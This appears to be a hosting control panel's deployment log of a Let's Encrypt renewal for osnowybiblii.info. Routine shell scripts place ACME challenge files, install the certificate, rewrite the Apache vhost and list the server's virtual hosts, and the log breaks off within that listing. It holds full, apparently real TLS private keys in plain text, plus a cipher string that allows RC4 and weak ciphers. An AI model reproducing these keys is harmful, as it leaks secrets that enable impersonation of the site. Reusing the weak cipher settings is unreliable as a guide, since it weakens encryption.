OQkUJ8lctQZjIjtQXHgBuZTu3RIpKIPapOmRSiPcF6horVQr2cxlGv0IqrilE7Bb
ILdXFQ79c/31+zM/xbod9Dm+uspRxe5Yh/U2jQbf1U5LtriU/WJ/dZYIbvNyZ2M9
DPgkF9trCs+njOjCOzw6U+q7q7hO+1Jymuh0afkSMBuUIUrjgB4nkeb1/9D4zOoP
vAM6id1bxmHmS2Dc3+HJ6dqf0LUlgUwH6UsNcPdK7Q1cil8/hpsCuXeYe1znPh9X
JUOcATAz9qfa54z1FnrSFwDPM1BLCwkzyEJx88J9HoECgYEAx6tMmcPeeqLpGJbj
ijuAUBT1vrHNP/CF2OPMvME+mGkZLKZRchB28iglVK6n24jVsI4RRW5VXt21tU8/
lZ5nHspl46nZwkPSIAY40GitPgFpHKSdCBd63mpdYxyuiDp5lVTEilhUWmEgEOKO
kf4Vzb4W4wD0mhs3dSOvwF8Br/8CgYEAxIfYc3CfO1VOfRz2dlPV/2KFosBkEHZp
8ssf7wUMX5P7Z+vEOQc8Gu161Hl+sZ6FJ74hq9FLSiAg4SAfRW4V6uwKB8PxEWdH
LnzLBuVAOAa4kt9Ug5xzJzkHfvLy4lG5F/+f2CEodfegevCiAW8a1VyXi3NFtdvp
YtUrtO30NdECgYBWhzyl8kUK3minmFQ5RnnfuoWYw1LQX7qReH70WcZ3pCwdtmHb
TZlObelnnlzt/YmlfpurfBoRB4HEdfh3LXNA27N2CthsoJmB+VBLuOFC2rejiw7m
P86mbm/UEMzuCnFALsERtx+vHyIXTyc7y2HFjJg8feCCnELXR8TVWBbSHwKBgQCA
Tvx26clbsGcs8dLLEBL/yC/dQORThyvGsuznXRFl+TRC9b9HSDzqi68Mt0GK7yaZ
+tz60wrnmzA8Kn+gEa5HkNE/nqJtrVLgu+LFXrjdmy233gzMXEEmE2qcbDs8nQRN
8btHHObQldn1SdNLQmFveSMLjTeu8qNdvjTpzA0LcQKBgQCLy/TinQY1/elJFWWA
UzibwiIODhdtVa8zHUH8jznKrbgBujnmx8DHtWDegej30NNvKMQ5jbY+QWbI8W99
4fgMNG7k0PoTdLJuhObSd+H5CnsM/CeCy07KgYwiBrmQgchg7S73ltRquhHTaE26
jAIQyR7IUc6uenK1jJg0Rg5m7A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-23 06:00:02: Establishing a connection
2025-09-23 06:00:03: Establishing a connection
2025-09-23 06:00:03: 

PUT: /tmp/pkp945919

#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-23 06:00:04: 

chmod 755 /tmp/pkp945919; /tmp/pkp945919; rm /tmp/pkp945919

2025-09-23 06:00:04: 


1


2025-09-23 06:00:05: Establishing a connection
2025-09-23 06:00:05: 

PUT: /tmp/pkp256555

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA
cat > xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k


2025-09-23 06:00:05: 

chmod 755 /tmp/pkp256555; /tmp/pkp256555; rm /tmp/pkp256555

2025-09-23 06:00:05: 




2025-09-23 06:00:15: Establishing a connection
2025-09-23 06:00:15: 

PUT: /tmp/pkp949115

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm jbpvAlDWJ9q8BfHq4TWldkrHbCy3brXEJnQi8kETXCA
rm xCq1UjplCh1_8b35g-uDNdzd7MkzBCTFuFeCNuzG32k


2025-09-23 06:00:15: 

chmod 755 /tmp/pkp949115; /tmp/pkp949115; rm /tmp/pkp949115

2025-09-23 06:00:15: 




2025-09-23 06:00:15: Establishing a connection
2025-09-23 06:00:15: 

PUT: /tmp/pkp137537

#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt

cat > $temp_file <<'endmsg'
eb:70:8c:d0:d9:62:f7:4a:f9:34:bf:83:b6:79:1f:60

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlilHRV5e1DEUMc9aB8sn0zoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIzMDUwMTQ1WhcNMjUxMjIyMDUwMTQ0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK1ShYonbdX274LaU4PTdcAAZGQKDuigjaGUvgon21TLv2SMFnq+gvtAhfoD
J7kZlru9xmult+2Hv1Ir02RiKrVTXrFFPbYOLWQjrfJUDUAQGn0FmgnSWx2ai5iY
urhYO5wmrCQVncziOIsZI5bCnm3aNX6br45FQC6pTdtV2VCIcaQTlGj3sadmCL3U
LTO4oAol3n+FvoFtKAo9KpUWpMAFEdxvPXRpNU2eLpFVq5ApQ/d7bdgolwmx1OfD
TKb8hay95LOeBH90UjdlDzJpHshogeGJnq09GKQl2eLFG3SY08dQ0mpBywECAi2i
m/krNuHZJzvZljbTUi21weTwd5sCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUkS8I9t5M8tp2j/fg+mCCwmqQtogwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTA1LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeN
tql+VMD+TA2wAAABmXUoie0AAAQDAEgwRgIhALRupL4BxtwfaUai0XKfo/cVEKL9
sTGILZXCMRWRy0h5AiEAhhg/e4W6APPS7YVOpoNIL1hhvbkU5EE4Thg3BorxTTkA
dQDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZl1KIn8AAAEAwBG
MEQCIAtsyn5XzRzMDzNoyzeqn47d1+e4kmlvZkGslPzlwp4QAiAXB5/h+mXgzzhC
4lIdct2Jwv04SPlasM3Nsz4u2UvC5zANBgkqhkiG9w0BAQsFAAOCAQEAE6bvRFye
tRnsT1dWpHveGEIa6tsAGs7t6Gch42OSH3Zblt5bc6UPd8sVQ8aKXpq49U30Fd9R
/fDeuXr/a48cepE3u1C6p2A1Boim9Don4vOVJ2teWt11KmaE36GOjjARcIpwQDou
sDtAlrTmgLB0AySJ+05vZemSVL1E1Kv4nolbjaGOsd+i9jlQxMjPHKzkLbq95BoS
P4lKN/PX/a1sWEqTp74VvEqGalMjTmdp5m9l9dRExGflsZbkr+nXX/9Zg1HPTCVk
BIb31O/n9FQuu+PvDxY+4Od7R/1pjZpLqVMG08r9jA70ksS6nx4R5f3ZPO/bJrz8
7fjFWblTAuCfPA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCtUoWKJ23V9u+C
2lOD03XAAGRkCg7ooI2hlL4KJ9tUy79kjBZ6voL7QIX6Aye5GZa7vcZrpbfth79S
K9NkYiq1U16xRT22Di1kI63yVA1AEBp9BZoJ0lsdmouYmLq4WDucJqwkFZ3M4jiL
GSOWwp5t2jV+m6+ORUAuqU3bVdlQiHGkE5Ro97GnZgi91C0zuKAKJd5/hb6BbSgK
PSqVFqTABRHcbz10aTVNni6RVauQKUP3e23YKJcJsdTnw0ym/IWsveSzngR/dFI3
ZQ8yaR7IaIHhiZ6tPRikJdnixRt0mNPHUNJqQcsBAgItopv5Kzbh2Sc72ZY201It
tcHk8HebAgMBAAECggEAMOAxejkONyUwe3T30hfif6dcp/1SIPWNmwAn6xM8PZhL
O55phGmO5C1Y2pzjKcZ2hDDK8HZF/LyoDhL/xLIOGx4MeO7urRUoZbHODqT3K5ae
8ZyPyK9CNIHtVbXUCcIP5UPejTpvSmSMz2TibVQqew3qwe5DPlp28/GYW/7EjnnE
xOhIevU64xU4ZkkEZab9ZuyAGBtHwG+X+9DoT5BO1V2I8KkMtsVNVcsQOwQvbSJa
UXdJhxBcMDxNSiaNYhvu2CG5/avZTyXrsJtIWE2HJ5lIB3smPqZ1kDnVODtpDoRx
gBwbCjWZKZcA4EOeLKnjfd0oPy69XsSJuV8MlHS9iQKBgQDXhepAbAeKPvDsT0hB
rwAoEzLFLSI47Ed1c3kR52rPD0pCi7AwYNklw3qW2YjsJYqjAy7E5DNXKtIULJB1
DEEINg1qu9AtuZg3/fEFZs20WY/z6aBnCULRBtRGLb8z3zIac747xsnHIDQwP8Kz
M/EDWxMP99/haKcaY/wMaLP0bQKBgQDN36V3BD39p1EPsdygY7EgUualSd1TMVae
BtvBBBl7b1CvV5bf+gFlllndXXNsaRXKsW1Z1sX0fkbcP8BOUkEGTqmv7hweA5vt
lfUuhd0cGQpJ44g6nxsXoqVuY4XL9q1pKCprOMkEUZzm5cOsNI42PrFIloit+62T
Vmj+XixHJwKBgC8ZUtH1SciKbLgXs2C3T79yQpwYeuwZppwiOgkRm6PYYZAdWsmX
wJyiFX4119hTc/Kf1W6tuBKKhxJlksQhg2y580Cp/pqffoZt9mgJyVZqZC0Xlzgt
K+7mISmdAbXiRt7FAIOrs5jSjtUkefYTmc3z7zyEHObzqeD4jLJhh0IZAoGBAIAP
Q9+6lcz4jOXUX0atfHp81teuEKw1HooB/iQcJrWvUmMfeswruT61vYSDIs8mttV0
dG7TuCMTgYRza23MoIIJ4Gd9F6Rb3lx1USP1RMq7kLjRfeXpHnMfSwRVh96NvOSS
hYBYvEGhepXuCj9OGcAIU0Kx0KdYzGm/8GN5tNU1AoGBAKR1KE/PlrGtt7E3DfhK
xV64cD5OOeHC8BdcdxBjFFo4lRLijoxWX0D07nLp+IlpTGpCXqcEbLG7qn6neOcj
vaPavpvXsHBcWDNahjwoy48W7CRMxgAIJDY/bqNmwcoYpQaOR6h2071+7l98qlEq
M+CnWcNGSQm742DhNlacB4N/
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-23 06:00:15: 

chmod 755 /tmp/pkp137537; /tmp/pkp137537; rm /tmp/pkp137537

2025-09-23 06:00:15: 


dir=/etc/ssl/certs


2025-09-23 06:00:15: 

PUT: /tmp/pkp377261

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-23 06:00:15: 

chmod 755 /tmp/pkp377261; /tmp/pkp377261; rm /tmp/pkp377261

2025-09-23 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-23 06:00:15: 

PUT: /tmp/pkp542214

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi


2025-09-23 06:00:16: 

chmod 755 /tmp/pkp542214; /tmp/pkp542214; rm /tmp/pkp542214

2025-09-23 06:00:16: 




2025-09-23 06:00:16: 

PUT: /tmp/pkp783194

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-23 06:00:16: 

chmod 755 /tmp/pkp783194; /tmp/pkp783194; rm /tmp/pkp783194

2025-09-23 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-23 06:00:16: Establishing a connection
2025-09-23 06:00:16: 

PUT: /tmp/pkp719115

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-23 06:00:16: 

chmod 755 /tmp/pkp719115; /tmp/pkp719115; rm /tmp/pkp719115

2025-09-23 06:00:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
